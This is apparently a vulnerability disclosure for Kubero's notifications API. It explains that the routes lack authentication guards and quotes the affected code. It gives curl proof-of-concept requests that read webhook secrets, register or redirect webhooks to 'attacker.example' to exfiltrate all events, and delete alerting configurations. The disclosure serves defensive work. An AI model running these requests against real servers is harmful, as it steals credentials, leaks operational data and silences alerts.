Unauthenticated CRUD on notification configurations exposes webhook secrets and allows event exfiltration

### Which component(s) is affected? _No response_ ### Describe the bug ### Summary Every endpoint of the Kubero notifications API (`/api/notifications`) is exposed without any authentication or authorization guard. An unauthenticated remote attacker can list, read, create, modify, and delete notification configurations. These configurations store webhook secrets and Slack/Discord/generic webhook URLs in cleartext, so the attacker can read those secrets directly, and can register an attacker-controlled webhook subscribed to all pipelines and all events to silently exfiltrate every platform notification (deployments, builds, security scans, audit events). The attacker can also delete existing notification configs to suppress legitimate alerting. Every other data controller in the server enforces `JwtAuthGuard` (and most also enforce a `PermissionsGuard`). The notifications controller has no guard on any route. ### Details The controller `server/src/notifications/notifications.controller.ts` declares five routes and applies no `@UseGuards(...)` and no `@Permissions(...)` on any of them: ```ts @Controller('api/notifications') export class NotificationsController { @Get() async findAll(): Promise<ApiResponse<INotificationConfig[]>> { ... } @Get(':id') async findOne(@Param('id') id: string) { ... } @Post() async create(@Body() createNotificationDto: CreateNotificationDto) { ... } @Put(':id') async update(@Param('id') id: string, @Body() updateNotificationDto) { ... } @Delete(':id') async remove(@Param('id') id: string) { ... } } ``` There is no global guard registered. `server/src/main.ts` calls `NestFactory.create(AppModule, ...)` and never registers an `APP_GUARD`; the project relies entirely on per-route `@UseGuards(JwtAuthGuard, ...)`. For contrast, sibling controllers all gate their routes, for example `server/src/pipelines/pipelines.controller.ts`: ```ts @Get('/') @UseGuards(JwtAuthGuard, PermissionsGuard) @Permissions('pipeline:read', 'pipeline:write') async listPipelines() { ... } ``` and `server/src/config/config.controller.ts`, `server/src/audit/audit.controller.ts`, etc. The notifications controller is the single data controller missing this. The stored data is sensitive. `server/src/notifications/notifications-db.service.ts` persists `webhookSecret`, `webhookUrl`, `slackUrl`, `slackChannel`, and `discordUrl`, and `toNotificationConfig()` returns the secret and URLs verbatim to the GET responses: ```ts toNotificationConfig(notification: NotificationDb): INotificationConfig { const config: any = {}; switch (notification.type) { case 'webhook': config.url = notification.webhookUrl; config.secret = notification.webhookSecret; // secret returned to caller break; case 'slack': config.url = notification.slackUrl; // Slack webhook URL is itself a secret config.channel = notification.slackChannel; break; case 'discord': config.url = notification.discordUrl; // Discord webhook URL is itself a secret break; } return { id: ..., enabled: ..., name: ..., type: ..., pipelines: ..., events: ..., config }; } ``` The dispatch path in `server/src/notifications/notifications.service.ts` forwards the full event object plus the configured secret to the configured URL: ```ts private sendWebhookNotification(message: INotification, config: INotificationWebhook) { fetch(config.url, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ message: message, secret: config.secret }), }) ... } ``` The `INotification` payload includes `resource`, `action`, `severity`, `message`, `pipelineName`, `appName`, and an arbitrary `data` field, so a webhook subscribed to `pipelines: ["*"], events: ["*"]` receives every platform event. Net effect for an unauthenticated attacker: 1. `GET /api/notifications` reads all configured webhook secrets and Slack/Discord/webhook URLs. 2. `POST /api/notifications` registers an attacker-controlled webhook subscribed to all pipelines and events, silently exfiltrating all future notifications. 3. `PUT /api/notifications/:id` redirects an existing notification to an attacker URL. 4. `DELETE /api/notifications/:id` removes legitimate alerting (alert suppression). ### Steps to reproduce ### PoC Target a running Kubero server (default port 2000). Authentication is enabled on the target; no token is supplied in any request below. Read all notification configs and their secrets, with no credentials: ``` curl -s http://TARGET:2000/api/notifications ``` Register an attacker-controlled webhook that captures every platform event: ``` curl -s -X POST http://TARGET:2000/api/notifications \ -H 'Content-Type: application/json' \ -d '{"name":"attacker-exfil","enabled":true,"type":"webhook", "pipelines":["*"],"events":["*"], "config":{"url":"https://attacker.example/collect","secret":"x"}}' ``` Redirect or delete an existing notification: ``` curl -s -X PUT http://TARGET:2000/api/notifications/<id> \ -H 'Content-Type: application/json' \ -d '{"type":"webhook","config":{"url":"https://attacker.example/x","secret":"x"}}' curl -s -X DELETE http://TARGET:2000/api/notifications/<id> ``` Observed output against a locally booted server with `KUBERO_AUTHENTICATION=true` (no token sent): ``` # POST /api/notifications -> HTTP 201 {"success":true,"data":{"id":"cmqnhymmt003qmj01okc4udyl","enabled":true, "name":"attacker-exfil","type":"webhook","pipelines":["*"],"events":["*"], "config":{"url":"https://attacker.example/collect","secret":"S3cr3t-HMAC-key-abc123"}}, "message":"Notification created successfully"} # GET /api/notifications -> HTTP 200 (secret leaked back) {"success":true,"data":[{"id":"cmqnhymmt003qmj01okc4udyl","enabled":true, "name":"attacker-exfil","type":"webhook","pipelines":["*"],"events":["*"], "config":{"url":"https://attacker.example/collect","secret":"S3cr3t-HMAC-key-abc123"}}]} ``` Contrast, same unauthenticated client against guarded sibling routes: ``` # GET /api/pipelines/ -> HTTP 401 {"message":"Unauthorized","statusCode":401} # GET /api/config/ -> HTTP 401 {"message":"Unauthorized","statusCode":401} ``` ### Impact Unauthenticated broken access control (CWE-862) on a Kubernetes PaaS control plane. Any remote party who can reach the Kubero API can: - read stored webhook secrets and Slack/Discord/webhook URLs (credential disclosure), - silently subscribe an attacker endpoint to all pipeline, app, build, security, and audit events (sensitive operational data exfiltration), - tamper with or delete legitimate notification routing (integrity loss and alert suppression). The vulnerability is present even when authentication is fully enabled, because the routes carry no guard at all. ### Expected behavior - ### Screenshots _No response_ ### Additional information _No response_ ### Debug information _No response_